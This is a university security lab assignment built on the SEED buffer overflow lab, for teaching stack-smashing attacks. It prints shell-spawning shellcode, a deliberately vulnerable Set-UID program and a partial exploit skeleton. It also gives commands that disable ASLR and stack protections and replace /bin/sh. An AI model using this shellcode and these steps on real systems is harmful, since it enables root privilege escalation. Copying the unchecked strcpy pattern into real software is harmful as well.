CSC 5222/6222: Assignment 3

Hard copy due 12:30, October 24, 2018

1 Lab Location, Time & Requirement

Lab Location: Langdale Hall 939.
Lab Time: Friday 10:00 am - 12:00 pm.
TA Email: dzheng5@student.gsu.edu
Requirement:

1. Students is required to **independently** finish the lab assignment.

2. After finishing the lab report, students are required to meet with TA at office hour to **demo how to achieve each task**.

3. **Submit report without demo can only get half score of Q1-Q5**.

4. The hard copy of this assignment report report should include answers to the following questions. Note that **Q1-Q5** are from the ensuing Lab activities.

Q1. What is the password for seed Unbuntu system? Screenshot how you successfully disable the randomization address space.

Q2. What if you compile the call_shellcode with/without the operations for executing the program in stack? (Screenshot required)

Q3. What is the meaning of strcpy(a,b)? Why it can cause a buffer overflow problem?

Q4. What is the appropriate content you should type to fill the butter in task 3? (In other words, what should be put into the badfile)

Q5. When you correctly fill the content to fulfil the buffer, is 24 in subsection 2.4 a correct size for that buffer to lead in a buffer overflow? If yes, show screenshot, if no, please change the value that can lead in a buffer overflow attack.

Q6. Answer the following questions about buffer overflow.

i) what is a buffer overflow attack?

ii) what is a consequence of a buffer overflow attack?

iii) How to avoid a buffer overflow attack?

Q7. XYZ Company has just designed a new web browser and they are initiating a major marketing campaign to get this browser to become the exclusive browser used by everyone on the Internet. Why would you expect a reduction in Internet security if this marketing campaign succeeds?

Q8. Describe a malware attack that causes the victim to receive physical advertisements.

Q9. Suppose that a metamorphic virus, DoomShift, is 99% useless bytes and 1% useful bytes. Unfortunately, DoomShift has infected the login program on your Unix system and increased its size from 54K bytes to 1,054K bytes; hence, 1,000K bytes of the login program now consists of the DoomShift virus. Barb has a cleanup program, DoomSweep, that is able to prune away the useless bytes of the DoomShift virus, so that in any infected file it will consist of 98% useless bytes and 2% useful bytes. If you apply DoomSweep to the infected login program, what will be its new size?

Q10. Johnny just set up a TCP connection with a web server in Chicago, Illinois, claiming he is coming in with a source IP address that clearly belongs to a network in Copenhagen, Denmark. In examining the session logs, you notice that he was able to complete the three-way handshake for this connection in 10 milliseconds. How can you use this information to prove Johnny is lying?

2 Pre-Lab Guidance

Students need to download the Virtual Box and Seed Lab System to continue with the following lab guidance in Section 3.

2.1 Virtual Box Download

Students can download the Virtual Box at https://www.virtualbox.org/ and Click the Button shown in Fig. 1.

Figure 1: Virtual Box Downloading

2.2 Seed Lab System

After downloading the Virtual Box, students need to go to the Google Drive shared-page and download the Seed Lab Ubuntu System. The link is https://drive.google.com/open?id=1bvfO--us-vDtIbkIpLdTOHk2h1192vZv.

3 Buffer Overflow Vulnerability Lab

3.1 Lab Overview

The objective of this lab is for students to acquire the first-hand experience on buffer overflow vulnerability. In this lab, students will be given a program with a buffer-overflow vulnerability; their task is to develop a scheme to exploit the vulnerability and finally gain the root privilege. Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed length buffers. This vulnerability can be used by a malicious user to alter the flow control of the program, leading to the execution of malicious code. This vulnerability arises due to the mixing of the storage for data (e.g. buffers) and the storage for

controls (e.g. return addresses): an overflow in the data part can affect the control flow of the program, because an overflow can change the return address.

Lab Environment: This lab should be tested on the Ubuntu 16.04 VM.

3.2 Lab Task1: Turning Off Countermeasures (Reading and Hand-on)

To simplify our attacks, we need to disable them first. Later on, we will enable them one by one, and see whether our attack can still be successful.

Address Space Randomization: Ubuntu and several other Linux-based systems uses address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this lab, we disable this feature using the following command:

```
$ sudo sysctl -w kernel.randomize_va_space=0
```

Tips: The password for seed is dees.

The StackGuard Protection Scheme: The GCC compiler implements a security mechanism called Stack- Guard to prevent buffer overflows. In the presence of this protection, buffer overflow attacks will not work. We can disable this protection during the compilation using the -fno-stack-protector option. For example, to compile a program example.c with StackGuard disabled, we can do the following:

```
$ gcc -fno-stack-protector example.c
```

Non-Executable Stack:Ubuntu used to allow executable stacks, but this has now changed: the binary images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e., they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide whether to make the stack of this running program executable or non-executable. This marking is done automatically by the recent versions of gcc, and by default, stacks are set to be non-executable (further reading: [3]). To change that, use the following option when compiling programs:

```
For executable stack:
$ gcc -z execstack  -o test test.c

For non-executable stack:
$ gcc -z noexecstack  -o test test.c
```

Configuring /bin/sh (Ubuntu 16.04 VM only): Since our victim program is a Set-UID program, and our attack relies on running /bin/sh, the countermeasure in /bin/dash makes our attack more difficult. Therefore, we will link /bin/sh to another shell that does not have such a countermeasure (in later tasks, we will show that with a little bit more effort, the countermeasure in /bin/dash can be easily defeated). We have installed a shell program called zsh in our Ubuntu 16.04 VM. We use the following commands to link /bin/sh to zsh:

```
$ sudo rm /bin/sh
$ sudo ln -s /bin/zsh /bin/sh
```

Questions for task 1: **Q1**. What is the password for seed Unbuntu system? Screenshot how you successfully disable the randomization address space.

3.3 Lab Task2: Running Shellcode (Reading and Hand-on)

Before starting the attack, let us get familiar with the shellcode. A shellcode is the code to launch a shell. It has to be loaded into the memory so that we can force the vulnerable program to jump to it. Consider the following program:

```
#include <stdio.h>

int main() {
   char *name[2];

   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
}
```

The shellcode that we use is just the assembly version of the above program. The following program shows how to launch a shell by executing a shellcode stored in a buffer. Please compile and run the following code, and see whether a shell is invoked. You can download the program from iCollege.

```
/* call_shellcode.c  */
/* You can get this program from the lab's website */

/* A program that launches a shell using shellcode */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char code[] =
  "\x31\xc0"         /* Line 1:  xorl    %eax,%eax             */
  "\x50"             /* Line 2:  pushl   %eax                  */
  "\x68""//sh"       /* Line 3:  pushl   $0x68732f2f           */
  "\x68""/bin"       /* Line 4:  pushl   $0x6e69622f           */
  "\x89\xe3"         /* Line 5:  movl    %esp,%ebx             */
  "\x50"             /* Line 6:  pushl   %eax                  */
  "\x53"             /* Line 7:  pushl   %ebx                  */
  "\x89\xe1"         /* Line 8:  movl    %esp,%ecx             */
  "\x99"             /* Line 9:  cdq                           */
  "\xb0\x0b"         /* Line 10: movb    $0x0b,%al             */
  "\xcd\x80"         /* Line 11: int     $0x80                 */
;

int main(int argc, char **argv)
{
   char buf[sizeof(code)];
   strcpy(buf, code);
   ((void(*)( ))buf)( );
}
```

Run the program and describe your observations. Please do not forget to use the execstack option, which allows code to be executed from the stack; without this option, the program will fail.

```
$ gcc -z execstack -o call_shellcode call_shellcode.c
```

The shellcode above invokes the *execve()* system call to execute */bin/sh*. A few places in this shellcode are worth mentioning. First, the third instruction pushes //sh, rather than /sh into the stack. This is because we need a 32-bit number here, and /sh has only 24 bits. Fortunately, // is equivalent to /, so we can get away with a double slash symbol. Second, before calling the execve() system call, we need to store name[0] (the address of the string), name (the address of the array), and NULL to the %ebx, %ecx, and %edx registers, respectively. Line 5 stores name[0] to %ebx;

Line 8 stores name to %ecx; Line 9 sets %edx to zero. There are other ways to set %edx to zero (e.g., xorl %edx, %edx); the one (cdq) used here is simply a shorter instruction: it copies the sign (bit 31) of the value in the EAX register (which is 0 at this point) into every bit position in the EDX register, basically setting %edx to 0. Third, the system call *execve()* is called when we set %al to 11, and execute int $0x80.

Questions for task 2: **Q2**. What if you compile the call_shellcode with/without the operations for executing the program in stack? (Screenshot required)

3.4 Lab Task3: Exploiting the Vulnerability (Reading and Hand-on)

You will be provided with the following program, which has a buffer-overflow vulnerability in Line ①. Your job is to exploit this vulnerability and gain the root privilege.

```
/* Vunlerable program: stack.c */
/* You can get this program from the lab's website */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[24];

    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);          ①

    return 1;
}


int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}
```

Compile the above vulnerable program. Do not forget to include the -fno-stack-protector and "-z execstack" options to turn off the StackGuard and the non-executable stack protections. After the compilation, we need to make the program a root-owned Set-UID program. We can achieve this by first change the ownership of the program to root (Line ①), and then change the permission to 4755 to enable the Set-UID bit (Line ②). It should be noted that changing ownership must be done before turning on the Set-UID bit, because ownership change will cause the Set-UID bit to be turned off.

```
$ gcc -o stack -z execstack -fno-stack-protector stack.c
$ sudo chown root stack          ①
$ sudo chmod 4755 stack          ②
```

The above program has a buffer overflow vulnerability. It first reads an input from a file called badfile, and then passes this input to another buffer in the function bof(). The original input can have a maximum length of 517 bytes, but the buffer in bof() is only 24 bytes long. Because strcpy() does not check boundaries, buffer overflow will occur. Since this program is a Set-root-UID program, if a normal user can exploit this buffer overflow vulnerability, the normal user might be able to get a root shell. It should be noted that the program gets its input from a file called badfile. This file is under users control. Now, our objective is to create the contents for badfile, such that when the vulnerable program copies the contents into its buffer, a root shell can be spawned.

We provide you with a partially completed exploit code called "exploit.c". The goal of this code is to construct contents for badfile. In this code, the shellcode is given to you. You need to develop the rest.

```
/* exploit.c  */

/* A program that creates a file containing code for launching shell */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
  "\x31\xc0"         /* Line 1:  xorl    %eax,%eax              */
  "\x50"             /* Line 2:  pushl   %eax                   */
  "\x68""//sh"       /* Line 3:  pushl   $0x68732f2f            */
  "\x68""/bin"       /* Line 4:  pushl   $0x6e69622f            */
  "\x89\xe3"         /* Line 5:  movl    %esp,%ebx              */
  "\x50"             /* Line 6:  pushl   %eax                   */
  "\x53"             /* Line 7:  pushl   %ebx                   */
  "\x89\xe1"         /* Line 8:  movl    %esp,%ecx              */
  "\x99"             /* Line 9:  cdq                            */
  "\xb0\x0b"         /* Line 10: movb    $0x0b,%al              */
  "\xcd\x80"         /* Line 11: int     $0x80                  */
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
```

```
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    /* ... Put your code here ...  */

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
```

After you finish the above program, compile and run it. This will generate the contents for badfile. Then run the vulnerable program stack. If your exploit is implemented correctly, you should be able to get a root shell:

```
$ gcc -o exploit exploit.c
$./exploit        // create the badfile
$./stack          // launch the attack by running the vulnerable program
# <---- Bingo! You've got a root shell!
```

It should be noted that although you have obtained the # prompt, your real user id is still yourself (the effective user id is now root). You can check this by typing the following:

```
# id
uid=(500) euid=0(root)
```

Question for task 3:

Q3. What is the meaning of strcpy(a,b)? Why it can cause a buffer overflow problem?

Q4. What is the appropriate content you should type to fill the butter in task 3? (In other words, what should be put into the badfile)

Q5. When you correctly fill the content to fulfil the buffer, is 24 in subsection 2.4 a correct size for that buffer to lead in a buffer overflow? If yes, show screenshot, if no, please change the value that can lead in a buffer overflow attack.